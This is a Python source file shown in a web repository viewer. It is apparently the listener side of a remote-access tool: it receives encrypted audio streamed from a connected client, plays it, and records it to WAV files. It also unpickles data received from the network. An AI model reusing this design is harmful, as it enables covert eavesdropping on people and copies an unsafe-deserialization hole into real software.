summaryrefslogtreecommitdiff
path: root/Modules/Servers/audio.py
blob: ffa2da9c7d8c79ee72933be80c679c28ac5953d9 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import pyaudio
import socket
import pickle
import zlib
import time
import wave

from Utilities.db_queries import get_module_data
from Specific.encrypt import Encryption
from sys import exit

try:
	info = get_module_data()
	audio_settings = []
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.bind((info[1], int(info[3].split(',')[2])))
	s.listen()
except:
	exit(0)


def audio_info():
	info = '\n'
	
	for index, setting in enumerate(audio_settings):
		info += f'    - {setting[0]}[{index}]'
		if len(audio_settings) > 1 and index + 1 != len(audio_settings):
			info += '\n'
	
	if len(audio_settings) == 0:
		info = 'False'
		
	return info


def set_audio_settings(index):
	global audio_settings

	try:
		if index == '*':
			for audio_setting in audio_settings:
				audio_setting[1].close()
			return 'Audios closed!'
		else:
			audio_settings[int(index)][1].close()
			return 'Audio closed!'
	except:
		return 'Audio failed to close.'


def Audio(encoding, path, user):
	try:
		global audio_settings

		CHUNK = 81920
		FORMAT = pyaudio.paInt16
		CHANNELS = 2
		RATE = 44100
		headersize = 10
		new_msg = True
		msg_len = 0
		full_msg = b''
		msg = b'next'

		e = Encryption()
		client, addr = s.accept()

		u = (user, client, addr)
		audio_settings.append(u)

		real_msg = pickle.dumps(msg)
		real_msg = zlib.compress(real_msg, 1)
		real_msg = e.do_encrypt(real_msg)
		final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
		client.send(final_msg)

		p = pyaudio.PyAudio()
		stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK)
		frames = []

		while True:
			try:
				client_msg = client.recv(81920)

				if new_msg:
					msg_len = int(client_msg[:headersize])
					new_msg = False

				full_msg += client_msg

				if len(full_msg)-headersize == msg_len:
					frame = e.do_decrypt(full_msg[headersize:])
					frame = zlib.decompress(frame)
					frame = pickle.loads(frame)

					stream.write(frame)
					frames.append(frame)

					real_msg = pickle.dumps(msg)
					real_msg = zlib.compress(real_msg, 1)
					real_msg = e.do_encrypt(real_msg)
					final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
					client.send(final_msg)
					
					new_msg = True
					msg_len = 0
					full_msg = b''
			except:
				audio_settings.remove(u)
				waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb')
				waveFile.setnchannels(CHANNELS)
				waveFile.setsampwidth(p.get_sample_size(FORMAT))
				waveFile.setframerate(RATE)
				waveFile.writeframes(b''.join(frames))
				waveFile.close()
				exit(0)
	except:
		exit(0)